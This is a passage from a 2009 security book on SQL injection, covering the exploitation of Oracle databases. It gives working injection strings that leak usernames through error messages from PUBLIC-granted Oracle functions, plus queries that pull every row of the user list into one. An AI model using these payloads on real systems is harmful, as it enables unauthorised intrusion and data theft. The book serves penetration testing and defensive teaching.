SQL Injection Attacks and Defense - 2009

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Exploiting SQL Injection • Chapter 4 169 It is also possible to bypass the one-row limitation to get multiple rows of information. By using a special SQL statement with XML or the special Oracle function stragg (11g+), it is possible to get all rows in one single row. The only limitation is the size of the output (4,000 bytes) in both approaches. select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype(';')).getstringval() listagg from all_users; select sys.stragg (distinct username||';') from all_users Output: ALEX;ANONYMOUS;APEX_PUBLIC_USER;CTXSYS;DBSNMP;DEMO1;DIP;DUMMY;EXFSYS;FLOWS_030000; FLOWS_FILES;MDDATA;MDSYS;MGMT_VIEW;MONODEMO;OLAPSYS;ORACLE_OCM;ORDPLUGINS;ORDSYS; OUTLN;OWBSYS;PHP;PLSQL;SCOTT;SI_INFORMTN_SCHEMA;SPATIAL_CSW_ADMIN_USR;SPATIAL_WFS_ ADMIN_USR;SYS;SYSMAN;SYSTEM;TSMSYS;WKPROXY;WKSYS;WK_TEST;WMSYS;X;XDB;XS$NULL; Injecting one of the queries together with utl_inaddr throws an error message containing all usernames, as shown in Figure 4.10. Figure 4.10 Returning Multiple Rows
170 Chapter 4 • Exploiting SQL Injection By default, Oracle 11g restricts access to utl_inaddr and all other network packages with a newly introduced access control list (ACL) system. In this case, we will get an ORA-24247: network access denied by access control list (ACL) error message without data in it. In this case, or if the database was hardened and the PUBLIC grant was revoked from utl_inaddr, we must use other functions. The following Oracle functions (granted to PUBLIC) return error-controllable messages. Injecting the following: Or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user,'a','b')-- returns the following: ORA-53044: invalid tag: VICTIMUSER Injecting the following: or 1=SYS.DBMS_AW_XML.READAWMETADATA(user,'a')-- returns the following: ORA-29532: Java call terminated by uncaught Java exception: oracle.AWXML. AWException: oracle.AWXML.AWException: An error has occurred on the server Error class: Express Failure Server error descriptions: ENG: ORA-34344: Analytic workspace VICTIMUSER is not attached. Injecting the following: Or 1= CTXSYS.CTX_QUERY.CHK_XPATH(user,'a','b')-- returns the following: ORA-20000: Oracle Text error: DRG-11701: thesaurus VICTIMUSER does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSX", line 538 ORA-06512: at line 1 Enumerating the Database Schema You have seen a number of different techniques for extracting data from the remote database. To illustrate these techniques, we have retrieved only small pieces of information, so now it’s time to extend our scope and see how to use these techniques to obtain larger amounts of data. After all, databases can be huge beasts, containing several terabytes of data. To mount a successful attack, and to properly assess the risk that is posed by an SQL injection vulnerability, performing a fingerprint and squeezing a few bits of information is not enough: You must show that a skilled and resourceful attacker is able to enumerate the tables that are present in the database and quickly extract the ones that he is interested in. In this section, a few examples
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Justin Clarke Lead Author and Techn
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Lead Author and Technical Editor Ju
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exploiting, and correcting software
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Dafydd Stuttard is the author of th
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Contents Chapter 1 What Is SQL Inje
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Contents xi LAPSE. ................
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Contents xiii Generic MySQL Binary
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Contents xv Chapter 8 Code-Level De
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Contents xvii Increase the Verbosit
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Contents xix Ingres Cheat Sheet....
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Chapter 1 What Is SQL Injection? So
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What Is SQL Injection? • Chapter
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execute the query against the datab
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Incorrectly Handled Query Assembly
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} } reader = cmd.ExecuteReader(); r
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Chapter 2 Testing for SQL Injection
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Testing for SQL Injection • Chapt
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SELECT * FROM products WHERE idprod
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Figure 2.15 Exploitation Terminatin
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Time Delays Testing for SQL Injecti
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Summary Testing for SQL Injection
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Chapter 3 Reviewing Code for SQL In
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Reviewing Code for SQL Injection
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mssql_bind() − adds a parameter t
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OdbcCommand() − used to construct
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Reviewing PL/SQL and T-SQL Code Rev
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Page 156 and 157: Frequently Asked Questions Reviewin
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Page 238 and 239: Escalating Privileges Exploiting SQ
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Chapter 5 Blind SQL Injection Explo
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Blind SQL Injection Exploitation
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Common Blind SQL Injection Scenario
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1. Is the byte greater than 127? No
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Using Time-Based Techniques Blind S
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SELECT * FROM unknowntable UNION SE
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Figure 5.13 Extracting Database Log
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Summary Blind SQL Injection Exploit
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Chapter 6 Exploiting the Operating
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Exploiting the Operating System •
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[operating systems] multi(0)disk(0)
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Figure 6.13 Enabling CLR Integratio
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Oracle Exploiting the Operating Sys
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) c / ) ) ), bfilename('GETPWDIR',
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As expected, this creates sp.txt fi
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2 443 [+] Calling msfpayload3 to c
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DBMS_ADVISOR is probably the shorte
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EXECUTE IMMEDIATE q'!drop directory
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Microsoft SQL Server Exploiting the
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Figure 6.22 Creating an UNSAFE Bina
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Executing Operating System Commands
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Endnotes Exploiting the Operating S
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Chapter 7 Advanced Topics Solutions
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Using Case Variation Advanced Topic
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4. The application URL decodes the
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Advanced Topics • Chapter 7 323 D
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Advanced Topics • Chapter 7 325 I
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Advanced Topics • Chapter 7 331 m
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Advanced Topics • Chapter 7 333 1
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Using Hybrid Attacks Advanced Topic
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Exploiting Authenticated Vulnerabil
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Advanced Topics • Chapter 7 339
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Chapter 8 Code-Level Defenses Solut
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Code-Level Defenses • Chapter 8 3
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END; Execute immediate 'SELECT coun
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Validating Input in Java Code-Level
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UTL_SMTP.HELO(v_connection,'mailhos
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Summary Code-Level Defenses • Cha
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Chapter 9 Platform-Level Defenses S
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Platform-Level Defenses • Chapter
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Figure 9.3 Whitelist Rule to Patch
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Application Filters Platform-Level
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Use Strong Cryptography to Protect
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Additional Deployment Consideration
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Chapter 10 References Solutions in
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References • Chapter 10 417 For t
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References • Chapter 10 419 It is
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GROUP BY Statement References • C
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References • Chapter 10 423 you a
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References • Chapter 10 425 Table
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Blind SQL Injection Functions: Micr
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References • Chapter 10 429 the S
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Microsoft SQL Server 2005 Hashes Re
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References • Chapter 10 435 If MA
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TYPE oracle_loader DEFAULT DIRECTOR
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References • Chapter 10 441 When
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Table 10.20 Continued. Troubleshoot
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Enumerating Database Configuration
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Local File Access References • Ch
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References • Chapter 10 451 Infor
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■■ ■■ ■■ ■■ Referen
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Troubleshooting SQL Injection Attac
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A abstract syntax tree (AST), 125 a
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Index 461 confirming and terminatin
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Index 463 errors application error,
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Index 465 intercepting filters appl
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Index 467 APEX, 196-197 Oracle inte
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Index 469 mysql_query( ) function,
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Index 471 blind SQL injection funct
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Index 473 transformation functions,
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SQL Injection Attacks and Defense - 2009

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